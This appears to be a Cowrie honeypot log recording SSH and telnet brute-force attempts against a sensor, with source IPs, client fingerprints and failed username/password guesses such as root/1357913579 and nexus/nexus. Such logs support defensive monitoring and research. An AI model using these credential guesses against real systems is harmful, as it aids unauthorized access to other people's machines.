{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:43.065668Z","src_ip":"160.174.129.232","session":"2a850e3d980e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:43.600137Z","src_ip":"154.18.197.35","session":"5e6de4bb88a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357913579","message":"login attempt [root/1357913579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:43.677632Z","src_ip":"160.174.129.232","session":"2a850e3d980e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:44.824879Z","src_ip":"160.174.129.232","session":"2a850e3d980e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47434,"dst_ip":"159.203.135.109","dst_port":23,"session":"f34066b3c049","protocol":"telnet","message":"New connection: 170.64.224.25:47434 (159.203.135.109:23) [session: f34066b3c049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:24:48.177055Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":44370,"dst_ip":"10.17.0.5","dst_port":22,"session":"11744578c9bb","protocol":"ssh","message":"New connection: 20.228.193.165:44370 (10.17.0.5:22) [session: 11744578c9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:01.167104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:01.175884Z","src_ip":"20.228.193.165","session":"11744578c9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:01.190916Z","src_ip":"20.228.193.165","session":"11744578c9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"multi123","message":"login attempt [root/multi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:01.325541Z","src_ip":"20.228.193.165","session":"11744578c9bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:02.349229Z","src_ip":"20.228.193.165","session":"11744578c9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40398,"dst_ip":"159.203.135.109","dst_port":22,"session":"f029360e8890","protocol":"ssh","message":"New connection: 103.27.238.114:40398 (159.203.135.109:22) [session: f029360e8890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:04.768685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:04.774508Z","src_ip":"103.27.238.114","session":"f029360e8890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:05.041290Z","src_ip":"103.27.238.114","session":"f029360e8890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfhfnt","message":"login attempt [root/rfhfnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:05.847917Z","src_ip":"103.27.238.114","session":"f029360e8890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:07.119172Z","src_ip":"103.27.238.114","session":"f029360e8890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43552,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e6770f78f1d","protocol":"ssh","message":"New connection: 160.187.174.22:43552 (159.203.135.109:22) [session: 0e6770f78f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:08.820888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:08.825443Z","src_ip":"160.187.174.22","session":"0e6770f78f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:09.074126Z","src_ip":"160.187.174.22","session":"0e6770f78f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:09.824821Z","src_ip":"160.187.174.22","session":"0e6770f78f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:11.074652Z","src_ip":"160.187.174.22","session":"0e6770f78f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":51372,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d03168f5c80","protocol":"ssh","message":"New connection: 138.197.164.175:51372 (10.17.0.5:22) [session: 8d03168f5c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:20.273816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:20.277829Z","src_ip":"138.197.164.175","session":"8d03168f5c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:20.294343Z","src_ip":"138.197.164.175","session":"8d03168f5c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"update","message":"login attempt [root/update] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:20.399875Z","src_ip":"138.197.164.175","session":"8d03168f5c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":49912,"dst_ip":"159.203.135.109","dst_port":22,"session":"84eccfff7908","protocol":"ssh","message":"New connection: 208.109.189.255:49912 (159.203.135.109:22) [session: 84eccfff7908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:21.323194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:21.327635Z","src_ip":"208.109.189.255","session":"84eccfff7908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:21.393108Z","src_ip":"208.109.189.255","session":"84eccfff7908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:21.423432Z","src_ip":"138.197.164.175","session":"8d03168f5c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"St0rj$M@st3r@P@ss","message":"login attempt [root/St0rj$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:21.594229Z","src_ip":"208.109.189.255","session":"84eccfff7908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:22.665226Z","src_ip":"208.109.189.255","session":"84eccfff7908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36012,"dst_ip":"159.203.135.109","dst_port":23,"session":"daba445ed8fb","protocol":"telnet","message":"New connection: 170.64.224.25:36012 (159.203.135.109:23) [session: daba445ed8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:33.797855Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50914,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f3e64e11196","protocol":"ssh","message":"New connection: 160.187.174.22:50914 (159.203.135.109:22) [session: 8f3e64e11196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:38.217623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:38.229247Z","src_ip":"160.187.174.22","session":"8f3e64e11196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:38.450416Z","src_ip":"160.187.174.22","session":"8f3e64e11196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:39.439266Z","src_ip":"160.187.174.22","session":"8f3e64e11196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:40.674807Z","src_ip":"160.187.174.22","session":"8f3e64e11196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":40950,"dst_ip":"10.17.0.5","dst_port":22,"session":"89d0921c5208","protocol":"ssh","message":"New connection: 177.16.244.39:40950 (10.17.0.5:22) [session: 89d0921c5208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:43.744806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:43.749898Z","src_ip":"177.16.244.39","session":"89d0921c5208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:43.889220Z","src_ip":"177.16.244.39","session":"89d0921c5208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword2","message":"login attempt [root/p@ssword2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:44.443256Z","src_ip":"177.16.244.39","session":"89d0921c5208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:45.575535Z","src_ip":"177.16.244.39","session":"89d0921c5208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.53023314476013,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:48.707170Z","src_ip":"170.64.224.25","session":"f34066b3c049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.107.77","src_port":51222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ced46d6a956","protocol":"ssh","message":"New connection: 185.207.107.77:51222 (10.17.0.5:22) [session: 8ced46d6a956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:50.637460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:50.640964Z","src_ip":"185.207.107.77","session":"8ced46d6a956","protocol":"ssh"}
